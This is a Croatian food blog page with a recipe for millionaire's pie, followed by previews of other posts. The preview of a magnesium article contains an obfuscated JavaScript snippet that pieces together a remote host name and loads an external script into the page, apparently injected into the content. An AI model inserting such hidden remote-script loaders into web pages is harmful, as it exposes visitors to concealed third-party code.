MILIJUNAŠKA PITA




Milijunaška pita 



Milijunaška pita označava kultni, kremasti američki desert koji se ne peče, a njezina priča duboko je ukorijenjena u povijest američkog Juga.




Milijunaška pita 


Sastojci:

Za podlogu:

250 g glatkog brašna 
125 g hladnog maslaca 
70 g šećera u prahu 
1 žumanjak 
1 - 2 žlice hladne vode 
Prstohvat soli 



Za karamelu:

150 g maslaca 
150 g smeđeg šećera 
1 limenka kondenziranog mlijeka 
2 žlice meda ili glukoznog sirupa 
1 žličica ekstrakta vanilije 
1/2 žličice krupne morske soli 



Za čokoladni sloj:

200 g tamne čokolade 
150 ml slatkog vrhnja 
20 g maslaca 
Prstohvat morske soli 




Priprema:

Brašno pomiješajte sa šećerom u prahu i soli.

Dodajte hladan maslac narezan na kockice pa prstima ili mikserom s nastavkom za tijesto izradite mrvičastu smjesu.

Dodajte žumanjak i prema potrebi žlicu do dvije hladne vode.

Kratko zamijesite, oblikujte tijesto u disk, zamotajte ga u prozirnu foliju i stavite u hladnjak najmanje 30 minuta.

Pećnicu zagrijte na 180 stupnjeva.

Tijesto razvaljajte i njime obložite kalup za pitu.

Dno izbockajte vilicom, prekrijte papirom za pečenje i opteretite kuglicama za pečenje ili suhim grahom.

Pecite oko 15 minuta zatim uklonite papir i opterećenje te pecite još 8 do 10 minuta dok rubovi ne poprime zlatnu boju.

Ostavite da se potpuno ohladi.

U loncu s debljim dnom otopite maslac.

Dodajte smeđi šećer, kondenzirano mlijeko i med.

Kuhajte na srednje laganoj vatri uz stalno miješanje 8 do 12 minuta dok smjesa ne postane gusta i sjajna.

Maknite s vatre, umiješajte vaniliju i morsku sol.

Karamelu odmah prelijte preko ohlađene podloge i zagladite.

Stavite u hladnjak do 45 minuta da se stegne.

Čokoladu nasjeckajte i stavite u zdjelu.

Slatko vrhnje zagrijte gotovo do vrenja pa prelijte preko čokolade.

Ostavite minutu do dvije zatim miješajte dok ne dobijete glatku i sjajnu kremu.

Umiješajte maslac i prstohvat soli.

Ganache prelijte preko ohlađene karamele i pažljivo ga rasporedite po cijeloj površini.

Posipajte s nekoliko kristala morske soli i po želji ukrasite čokoladnim strugotinama.

Pitu ostavite u hladnjaku najmanje dva sata, a idealno preko noći.

Ukrasite po želji.




Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više